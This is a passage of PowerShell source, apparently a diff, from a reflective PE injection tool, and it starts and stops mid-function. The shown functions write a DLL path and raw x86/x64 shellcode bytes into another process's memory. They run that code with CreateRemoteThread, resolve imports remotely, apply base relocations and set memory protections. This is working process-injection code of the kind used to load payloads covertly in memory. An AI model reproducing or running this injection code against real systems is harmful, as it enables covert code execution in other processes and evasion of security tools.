Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + 